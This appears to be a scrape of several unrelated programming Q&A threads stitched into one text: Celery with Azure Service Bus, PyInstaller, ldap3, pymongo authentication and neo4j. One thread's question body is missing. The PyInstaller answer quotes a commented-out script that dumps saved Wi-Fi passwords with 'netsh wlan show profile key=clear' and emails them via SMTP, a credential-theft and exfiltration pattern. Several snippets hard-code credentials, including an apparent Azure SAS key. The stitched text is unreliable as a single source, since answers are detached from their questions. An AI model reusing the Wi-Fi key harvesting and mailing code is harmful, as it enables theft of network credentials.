Celery + Azure Service Bus (Broker) = claim is empty or token is invalid

I am trying to use Azure Service Bus as the broker for my celery app.
I have patched the solution by referring to various sources.
The goal is to use Azure Service Bus as the broker and PostgresSQL as the backend.
I created an Azure Service Bus and copied the credentials for the RootManageSharedAccessKey to the celery app.
Following is the task.py
from time import sleep
from celery import Celery
from kombu.utils.url import safequote
SAS_policy = safequote("RootManageSharedAccessKey") #SAS Policy
SAS_key = safequote("1234222zUY28tRUtp+A2YoHmDYcABCD") #Primary key from the previous SS
namespace = safequote("bluenode-dev")
app = Celery('tasks', backend='db+postgresql://afsan.gujarati:admin#localhost/local_dev',
broker=f'azureservicebus://{SAS_policy}:{SAS_key}=#{namespace}')
#app.task
def divide(x, y):
sleep(30)
return x/y
When I try to run the Celery app using the following command:
celery -A tasks worker --loglevel=INFO
I get the following error
[2020-10-09 14:00:32,035: CRITICAL/MainProcess] Unrecoverable error: AzureHttpError('Unauthorized\n<Error><Code>401</Code><Detail>claim is empty or token is invalid.

I don't see a straight solution for this anywhere. What am I missing?
P.S. I did not create the Queue in Azure Service Bus. I am assuming that celery would create the Queue by itself when the celery app is executed.
P.S.S. I also tried to use the exact same credentials in Python's Service Bus Client and it seemed to work. It feels like a Celery issue, but I am not able to figure out exactly what.

If you want to use Azure Service Bus Transport to connect Azure service bus, the URL should be azureservicebus://{SAS policy name}:{SAS key}#{Service Bus Namespace}.
For example
Get Shared access policies RootManageSharedAccessKey
Code
from celery import Celery
from kombu.utils.url import safequote
SAS_policy = "RootManageSharedAccessKey" # SAS Policy
# Primary key from the previous SS
SAS_key = safequote("X/*****qyY=")
namespace = "bowman1012"
app = Celery('tasks', backend='db+postgresql://<>#localhost/<>',
broker=f'azureservicebus://{SAS_policy}:{SAS_key}#{namespace}')
#app.task
def add(x, y):
return x + y

any help is welcome :)

Your code has some unrelated problems. I changed it a little and pyinstaller works as expected
import subprocess
import smtplib
#from smtplib import * Here you try to import smtplib again
#import re
# Not needed for this example
# command1 = "netsh wlan show profile"
# networks = subprocess.check_output(command1, shell=True)
# network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
#
# final_output = ""
# for network in network_list:
# command2 = "netsh wlan show profile " + network + " key=clear"
# a_network_result = subprocess.check_output(command2, shell=True)
# final_output += a_network_result.decode()
#
final_output = 'cmd output' # Simulate the cmd output you want emailed
fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output
msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )
# Use regular strings in the variables python implicitly types them
username = 'MyEmail'
password = 'MyPasswd'
try: # Will always fail without real credentials
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()
except smtplib.SMTPAuthenticationError:
print("The username or password were incorrect")
Worked for me under windows both python 3.7 and 3.8
Copy my code then run pyinstaller <script name>.py and see if the same error is raised again.
note: You need to run <script name>.exe from the terminal in the dist\<script name> path not build\<script name>
edit
Additional troubleshooting steps:
Try python from the python site not Microsoft store
Try a different environment (if you used venv or virtualenv try the system interpreter)
Debug your script and make sure it can be run by python before you try to package it with pyinstaller

Python code for ldapsearch

I have a script:
ldapsearch -xLL -h 10.4.113.46 -D 'E900000#corp.privatedev' -W -b 'dc=corp,dc=privatedev' '(cn=lc_proxy_pentest)'
It runs well.
I programme with python to make the same query:
from ldap3 import Server, Connection, ALL
....
server = Server('10.4.113.46', get_info=ALL)
conn = Connection(server, 'uid=E900000#corp.privatedev,cn=lc_proxy_pentest,dc=corp,dc=privatedev', 'PaSsWoRd', auto_bind=True)
The error shows:
Traceback (most recent call last): File "<input>", line 1, in <module>

result = bind_response_to_dict(component)

File "C:\Users\E900000\Python\lib\site-packages\pyasn1\type\univ.py", line 984, in __bytes__
return bytes(self._value) TypeError: cannot convert 'NoValue' object to bytes
If I programme just
server = Server('10.4.113.46')
conn = Connection(server)
conn.bind()
The third line brings the same error.
What's wrong?

I doubt that E900000#corp.privatedev corresponds to uid=E900000#corp.privatedev,cn=lc_proxy_pentest,dc=corp,dc=privatedev
I am assuming you are using Active Directory (based on E900000#corp.privatedev).
Try using dsquery to Determine the FDN for the user.

The reason of the failed connection can be refered https://github.com/etingof/pyasn1/issues/52.
But after I modify the library and enable a successful connection, the ldapsearch still doesn‘t work.

Authentication failed to connect to mongodb using pymongo

We have written a piece of code in python script using pymongo that connects to mongodb.
username = 'abc'
password = 'xxxxxx'
server = 'dns name of that server'
port = 27017

client = MongoClient(url, serverSelectionTimeoutMS=300)
database = client.database_name
data_insert = database.collection_name.insert_one({'id': 1, 'name': xyz})
When I tried to do these operations, it raises an error:

pymongo.errors.OperationFailure: Authentication failed.
In MongoDB, while performing queries we are getting the responses normally, without raising any errors.

Because the other answers to your question didn't work for me, I'm going to copy and paste my answer from a similar question.
If you've tried the above answers and you're still getting an error:
pymongo.errors.OperationFailure: Authentication failed.
There's a good chance you need to add ?authSource=admin to the end of your uri.
Here's a working solution that I'm using with MongoDB server version 4.2.6 and MongoDB shell version v3.6.9.
from pymongo import MongoClient
# Replace these with your server details
MONGO_HOST = "XX.XXX.XXX.XXX"
MONGO_PORT = "27017"
MONGO_DB = "database"
MONGO_USER = "admin"
MONGO_PASS = "pass"
uri = "mongodb://{}:{}#{}:{}/{}?authSource=admin".format(MONGO_USER, MONGO_PASS, MONGO_HOST, MONGO_PORT, MONGO_DB)
client = MongoClient(uri)
Similar fix for command line is adding --authenticationDatabase admin

Well, I have been stuck with the same error for almost 3-4 hours. I came across solution with the following steps:
from your shell connect to MongoDB by typing: mongo
afterwards, create a database: use test_database
Now create a user with the following command with readWrite and dbAdmin privileges.
db.createUser(
{
user: "test_user",
pwd: "testing12345",
roles: [ "readWrite", "dbAdmin" ]
}
);
This will prompt Successfully added user: { "user" : "test_user", "roles" : [ "readWrite", "dbAdmin" ] }
you can check by typing: show users.
It will also show you DB name you created before in the json.
now you should be able to insert data to your database:
client = MongoClient("mongodb://test_user:myuser123#localhost:27017/test_database")
db = client.test_database
data = {"initial_test":"testing"}
db["my_collection"].insert_one(data).inserted_id

I ran into this error, and my problem was with the password.
I had what I believe to be a special character in the Master account. Changing the password to be only alphanumeric fixed it for me.
Code snippet
client = pymongo.MongoClient(
'mongodb://username:alphaNumericPassword#localhost:27017/?ssl=true&ssl_ca_certs=rds-combined-ca-bundle.pem&replicaSet=rs0&readPreference=secondaryPreferred&retryWrites=false'
)
# Specify the database to be used
db = client['prod-db']

You are trying to access neo4j via https on the standard port for http (7474):
url_graph_conn = "https://neo4j:password#52.10.**.***:7474/db/data/"
The standard port for a https connection is 7473. Try:
url_graph_conn = "https://neo4j:password#52.10.**.***:7473/db/data/"
And make sure you can access the web interface via https:
